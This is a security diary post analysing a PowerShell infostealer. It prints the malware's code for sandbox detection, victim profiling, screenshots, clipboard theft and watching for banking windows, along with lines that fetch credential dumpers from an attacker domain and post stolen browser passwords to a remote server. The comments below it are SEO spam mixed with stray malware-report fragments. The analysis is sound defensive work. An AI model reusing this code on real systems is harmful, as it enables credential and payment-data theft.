ISC Stormcast For Wednesday, November 1st 2017 https://isc.sans.edu/podcastdetail.html?id=5736

Some Powershell Malicious Code

Published: 2017-10-31
Last Updated: 2017-10-31 07:27:57 UTC
by Xavier Mertens (Version: 1)
2 comment(s)

Powershell is a great language that can interact at a low-level with Microsoft Windows. While hunting, I found a nice piece of Powershell code. After some deeper checks, it appeared that the code was not brand new but it remains interesting to learn how a malware infects (or not) a computer and tries to collect interesting data from the victim.

Notes:

1.The different snippets of code presented here are only for learning purposes
2. The code has been beautified

Usually, a malware will avoid to install itself on a virtualized environment (an automated sandbox or a security analyst's lab). A common way to detect a virtualized environment is to check BIOS values. Powershell can use query lot of operating system information through WMI[1].

function IsVirtual {
  $wmibios = Get-WmiObject Win32_BIOS -ErrorAction Stop | Select-Object version,serialnumber 
  $wmisystem = Get-WmiObject Win32_ComputerSystem -ErrorAction Stop | Select-Object model,manufacturer
  $ResultProps = @{
    ComputerName = $computer 
    BIOSVersion = $wmibios.Version 
    SerialNumber = $wmibios.serialnumber 
    Manufacturer = $wmisystem.manufacturer 
    Model = $wmisystem.model 
    IsVirtual = $false 
    VirtualType = $null 
  }

  if ($wmibios.SerialNumber -like "*VMware*") {
    $ResultProps.IsVirtual = $true
    $ResultProps.VirtualType = "Virtual - VMWare"
  }
  else {
    switch -wildcard ($wmibios.Version) {
      'VIRTUAL' { 
        $ResultProps.IsVirtual = $true 
        $ResultProps.VirtualType = "Virtual - Hyper-V" 
      } 
      'A M I' {
        $ResultProps.IsVirtual = $true 
        $ResultProps.VirtualType = "Virtual - Virtual PC" 
      } 
      '*Xen*' { 
        $ResultProps.IsVirtual = $true 
        $ResultProps.VirtualType = "Virtual - Xen" 
      }
    }
  }

  if (-not $ResultProps.IsVirtual) {
    if ($wmisystem.manufacturer -like "*Microsoft*") { 
      $ResultProps.IsVirtual = $true 
      $ResultProps.VirtualType = "Virtual - Hyper-V" 
    } 
    elseif ($wmisystem.manufacturer -like "*VMWare*") { 
      $ResultProps.IsVirtual = $true 
      $ResultProps.VirtualType = "Virtual - VMWare" 
    } 
    elseif ($wmisystem.model -like "*Virtual*") { 
      $ResultProps.IsVirtual = $true
      $ResultProps.VirtualType = "Unknown Virtual Machine"
    }
  }
  $results += New-Object PsObject -Property $ResultProps
  return $ResultProps.IsVirtual
}

Another interesting control is to check the system uptime. A sandbox is rebooted before every new analysis. A very short uptime is suspicious:

function Get-SystemUptime ($computer = "$env:computername") {
  $lastboot = [System.Management.ManagementDateTimeconverter]::ToDateTime("$((gwmi  Win32_OperatingSystem).LastBootUpTime)")
  $uptime = (Get-Date) - $lastboot
  #Write-Host "System Uptime for $computer is: " $uptime.days "days" $uptime.hours "hours" $uptime.minutes "minutes" $uptime.seconds "seconds"
  return (($uptime.days).ToString()+"d:"+($uptime.hours).ToString()+"h:"+$uptime.minutes.ToString()+"m:"+($uptime.seconds).ToString()+"s")
}

Once installed, a MUTEX[2] is created to avoid multiple instance of the same malware to be installed:

function New-Mutex($MutexName) {
  #[CmdletBinding()][OutputType([PSObject])]
  #Param ([Parameter(Mandatory)][ValidateNotNullOrEmpty()][string]$MutexName)
  $MutexWasCreated = $false
  $Mutex = $Null
  Write-Verbose "Waiting to acquire lock [$MutexName]..."
  [void][System.Reflection.Assembly]::LoadWithPartialName('System.Threading')
  try {
    $Mutex = [System.Threading.Mutex]::OpenExisting($MutexName)
  } catch {
    $Mutex = New-Object System.Threading.Mutex($true, $MutexName, [ref]$MutexWasCreated)
  }
  try { 
    if (!$MutexWasCreated) { $Mutex.WaitOne() | Out-Null } } catch { }
    Write-Verbose "Lock [$MutexName] acquired. Executing..."
    Write-Output ([PSCustomObject]@{ Name = $MutexName; Mutex = $Mutex })
} 

New-Nutex("Global\$env:username$((Get-Process -PID $pid).SessionID)")

It is useful to learn more about the victim, let’s grab some information about the computer and its network. You can also see how to detect if Powershell has admin rights and if the computer is a domain member.

$cpu_name = $(Get-WmiObject -class "Win32_Processor" -namespace "root/CIMV2")[0].name
if ($cpu_name -eq $null) { $cpu_name = $(Get-WmiObject -class "Win32_Processor" -namespace "root/CIMV2").name }
$vm = IsVirtual
$ram = ([Math]::Round((Get-WmiObject -Class win32_computersystem).TotalPhysicalMemory/1Gb)).toString()
$os = (Get-WmiObject -class Win32_OperatingSystem).Caption
$os_arch = (Get-WmiObject -class Win32_OperatingSystem).OSArchitecture
$uptime = Get-SystemUptime
$ext_ip = (New-Object net.webclient).downloadstring("http://checkip.dyndns.com") -replace "[^\d\.]"
$timezone = [TimeZoneInfo]::Local.BaseUtcOffset.Hours
$IsAdmin = ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")

if ((Get-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server').fDenyTSConnections -eq 1) {
  $rdp = $False
}
else {
  $rdp = $True 
}

if($IsAdmin -ne $True){ 
  if ($(whoami /groups) -like "*S-1-5-32-544*").length -eq 1 ) { $IsAdmin  = $True }
}

$wan_speed = New-Object net.webclient; "{0:N2} Mbit/sec" -f ((100/(Measure-Command {$wc.Downloadfile('http://east.testmy.net/dl-100MB',"c:\speedtest.test")}).TotalSeconds)*8); del c:\speedtest.test

if ((gwmi win32_computersystem).partofdomain -eq $true -and (gwmi win32_computersystem).domain -ne "WORKGROUP") {
  $domain = (gwmi win32_computersystem).domain.ToUpper()
}
else {
  $domain = 'nodomain’
}

Of course, screenshots are always interesting to collect sensitive data:

function Get-ScreenShot {
  $OutPath = "$env:temp\39F28DD9-0677-4EAC-91B8-2112B1515341"
  Add-Type -AssemblyName System.Windows.Forms
  $fileName = '{0}.jpg' -f (Get-Date).ToString('yyyyMMdd_HHmmss')
  $path = Join-Path $ScreenshotPath $fileName 
  $b = New-Object System.Drawing.Bitmap([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height)
  $g = [System.Drawing.Graphics]::FromImage($b)
  $g.CopyFromScreen((New-Object System.Drawing.Point(0,0)), (New-Object System.Drawing.Point(0,0)), $b.Size)
  $g.Dispose()
  $myEncoder = [System.Drawing.Imaging.Encoder]::Quality
  $encoderParams = New-Object System.Drawing.Imaging.EncoderParameters(1) 
  $encoderParams.Param[0] = New-Object System.Drawing.Imaging.EncoderParameter($myEncoder, 20) 
  $myImageCodecInfo = [System.Drawing.Imaging.ImageCodecInfo]::GetImageEncoders()|where {$_.MimeType -eq 'image/jpeg'}
  $b.Save($path,$myImageCodecInfo, $($encoderParams))
}

Get-ScreenShot

The malware contains a password stealer for Firefox. It download another Powershell script that can decoded the Firefox passwords. Get-Foxdump is part of Empire framework[3]. Then the stolen credentials are exfiltrated to another website:

function GetFF {

    [...Redacted...]

   [System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
   & cmd /c %systemroot%\syswow64\windowspowershell\v1.0\powershell.exe "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { `$true }; IEX (New-Object Net.WebClient).DownloadString('https://wsusupdate.com/script?id=random&name=firefox';); Get-FoxDump -OutFile $env:temp\firefox.log; Exit"
   & cmd /c %systemroot%\system32\windowspowershell\v1.0\powershell.exe "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { `$true }; IEX (New-Object Net.WebClient).DownloadString('https://wsusupdate.com/script?id=random&name=firefox';); Get-FoxDump -OutFile $env:temp\firefox.log; Exit"

   if (Test-Path "$env:temp\firefox.log") {
     $content = Get-Content $env:temp\firefox.log | Out-String
     $content = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($content))
     $json = @{"resolution" = $resolution; "domain" = $domain; "computer_name" = $computer_name; "username" = $username; "timezone" = $timezone; "hashid" = $hashid; "version" = $version; "content" = $content; "type" = "ffbrwpwd"}
     $log_json = $json | ConvertTo-Json
     $buffer = [System.Text.Encoding]::UTF8.GetBytes($log_json)
     [System.Net.HttpWebRequest] $webRequest = [System.Net.WebRequest]::Create($url+"/pshlog")
     $webRequest.ContentType = "application/json"
     $webRequest.Timeout = 10000
     $webRequest.Method = "POST"
     $webRequest.ContentLength = $buffer.Length;
     $requestStream = $webRequest.GetRequestStream()
     $requestStream.Write($buffer, 0, $buffer.Length)
     $requestStream.Flush()
     $requestStream.Close()
     [System.Net.HttpWebResponse] $webResponse = $webRequest.GetResponse()
     $streamReader = New-Object System.IO.StreamReader($webResponse.GetResponseStream())
     $result = $streamReader.ReadToEnd()
     Remove-Item "$env:temp\firefox.log" 
   }
}
  -ArgumentList $params.url, $params.resolution, $params.domain, $params.computer_name, $params.username, $params.timezone, $params.hashid, $params.version

The same function is implemented against Chrome. It calls the script Get-ChromeDump[4]:

[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
& cmd /c %systemroot%\system32\windowspowershell\v1.0\powershell.exe "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { `$true }; IEX (New-Object Net.WebClient).DownloadString('https://wsusupdate.com/script?id=random&name=chrome';); Stop-Process -name chrome -ErrorAction SilentlyContinue; Start-sleep -seconds 3; Get-ChromeDump -OutFile $env:temp\chrome.log; Exit”

And the Windows vault via Get-VaultCredential[5]:

[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
IEX (New-Object Net.WebClient).DownloadString($vault_url); Get-VaultCredential -OutVariable vaultcreds -ErrorAction

The next interesting function is Gclip() which monitors the clipboard and steal the content:

function Gclip {
   Start-Job -ScriptBlock {
     $PollInterval = 3
     Add-Type -AssemblyName System.Windows.Forms
     # used to check if the contents have changed
     $PrevLength = 0
     $PrevFirstChar = ""
 
     for(;;){
       $tb = New-Object System.Windows.Forms.TextBox
       $tb.Multiline = $true
       $tb.Paste()
       # only output clipboard data if it's changed
       if (($tb.Text.Length -ne 0) -and ($tb.Text.Length -ne $PrevLength)){
         # if the length isn't 0, the length has changed, and the first character
         # has changed, assume the clipboard has changed
         # YES I know there might be edge cases :)
         if($PrevFirstChar -ne ($tb.Text)[0]){
           $TimeStamp = (Get-Date -Format dd/MM/yyyy:HH:mm:ss:ff)
           Out-File -FilePath "$env:Temp\Applnsights_VisualStudio.txt" -Append -InputObject $tb.Text -Encoding unicode
           $PrevFirstChar = ($tb.Text)[0]
           $PrevLength = $tb.Text.Length
         }
       }
       Start-Sleep -s $PollInterval
     }
  }
}   

Interesting websites are monitored through the title of the window. If a title matches, a screenshot is taken:

if (($Process.MainWindowTitle -like '*checkout*') -or ($Process.MainWindowTitle -like '*Pay-Me-Now*') `
   -or ($Process.MainWindowTitle -like '*Sign On - Citibank*') -or ($Process.MainWindowTitle -like 'Sign in or Register | eBay')`
   -or ($Process.MainWindowTitle -like '*Credit Card*') -or ($Process.MainWindowTitle -like '*Place Your Order*') `
   -or ($Process.MainWindowTitle -clike '*Banking*') -or ($Process.MainWindowTitle -like '*Log in to your PayPal account*') `
   -or ($Process.MainWindowTitle -like '*Expedia Partner*Central*') -or ($Process.MainWindowTitle -like '*Booking.com Extranet*') `
   -or ($Process.MainWindowTitle -like '*Chase Online - Logon*') -or ($Process.MainWindowTitle -like '*One Time Pay*') `
   -or ($Process.MainWindowTitle -clike '*LogMeIn*') -or ($Process.MainWindowTitle -clike '*Windows Security*') `
   -or ($Process.MainWindowTitle -like '*Choose a way to pay*') -or ($Process.MainWindowTitle -like '*payment information*') `
   -or ($Process.MainWindowTitle -clike '*Change Reservation*') -or ($Process.MainWindowTitle -clike '*POS*') `
   -or ($Process.MainWindowTitle -like '*Virtual*Terminal*') -or ($Process.MainWindowTitle -like '*PayPal: Wallet*') `
   -or ($Process.MainWindowTitle -like '*iatspayment*') -or ($Process.MainWindowTitle -like '*LogMeIn*') `
   -or ($Process.MainWindowTitle -clike '*Authorize.Net*') -or ($Process.MainWindowTitle -like '*LogMeIn*') `
   -or ($Process.MainWindowTitle -clike '*Discover Card*') -or ($Process.MainWindowTitle -like '*LogMeIn*') `
   -or ($Process.MainWindowTitle -like '*ewallet*') -or ($Process.MainWindowTitle -like '*arcot*') `
   -or ($Process.MainWindowTitle -clike '*PayTrace*') -or ($Process.MainWindowTitle -clike '*New Charge*') `
   -or ($Process.MainWindowTitle -clike '*Verification*') -or ($Process.MainWindowTitle -clike '*PIN*') `
   -or ($Process.MainWindowTitle -clike '*Authentication*') -or ($Process.MainWindowTitle -clike '*Password*') `
   -or ($Process.MainWindowTitle -clike '*Debit Card*') -or ($Process.MainWindowTitle -clike '*Activation*') `
   -or ($Process.MainWindowTitle -clike '*LastPass*') -or ($Process.MainWindowTitle -clike '*SSN*') `
   -or ($Process.MainWindowTitle -clike '*Driver*License*') -or ($Process.MainWindowTitle -clike '*Check-in for*') `
   -or ($Process.MainWindowTitle -clike '*Umpqua*') -or ($Process.MainWindowTitle -clike '*ePayment*') `
   -or ($Process.MainWindowTitle -clike '*Converge -*') -or ($Process.MainWindowTitle -clike '*Swipe*') `
   -or ($Process.MainWindowTitle -like '*Payrazr*') -or ($Process.MainWindowTitle -clike '*Hosted -*') `
   -and (Test-Path "$env:TEMP\key.log")) {
   1..20 | % {
     Get-ScreenShot
     Start-Sleep -Seconds 5
  }
}

These examples show that malicious code can also be written in a simple language and some of the techniques used to gather/exfiltrate information from the infected computer.

[1] https://msdn.microsoft.com/en-us/library/aa394582(v=vs.85).aspx
[2] https://isc.sans.edu/diary/How+Malware+Generates+Mutex+Names+to+Evade+Detection/19429/
[3] https://github.com/EmpireProject/Empire/blob/master/data/module_source/collection/Get-FoxDump.ps1
[4] https://github.com/EmpireProject/Empire/blob/master/data/module_source/collection/Get-ChromeDump.ps1
[5] https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-VaultCredential.ps1

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

Keywords: malware powershell
2 comment(s)

Comments

What's this all about ..?
password reveal .
<a hreaf="https://technolytical.com/">the social network</a> is described as follows because they respect your privacy and keep your data secure:

<a hreaf="https://technolytical.com/">the social network</a> is described as follows because they respect your privacy and keep your data secure. The social networks are not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go.

<a hreaf="https://technolytical.com/">the social network</a> is not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go. The social networks only collect the minimum amount of information required for the service that they provide. Your personal information is kept private, and is never shared with other companies without your permission
https://thehomestore.com.pk/
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> public bathroom near me</a>
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> nearest public toilet to me</a>
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> public bathroom near me</a>
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> public bathroom near me</a>
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> nearest public toilet to me</a>
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> public bathroom near me</a>
https://defineprogramming.com/
https://defineprogramming.com/
Enter comment here... a fake TeamViewer page, and that page led to a different type of malware. This week's infection involved a downloaded JavaScript (.js) file that led to Microsoft Installer packages (.msi files) containing other script that used free or open source programs.
distribute malware. Even if the URL listed on the ad shows a legitimate website, subsequent ad traffic can easily lead to a fake page. Different types of malware are distributed in this manner. I've seen IcedID (Bokbot), Gozi/ISFB, and various information stealers distributed through fake software websites that were provided through Google ad traffic. I submitted malicious files from this example to VirusTotal and found a low rate of detection, with some files not showing as malware at all. Additionally, domains associated with this infection frequently change. That might make it hard to detect.
https://clickercounter.org/
Enter corthrthmment here...

Diary Archives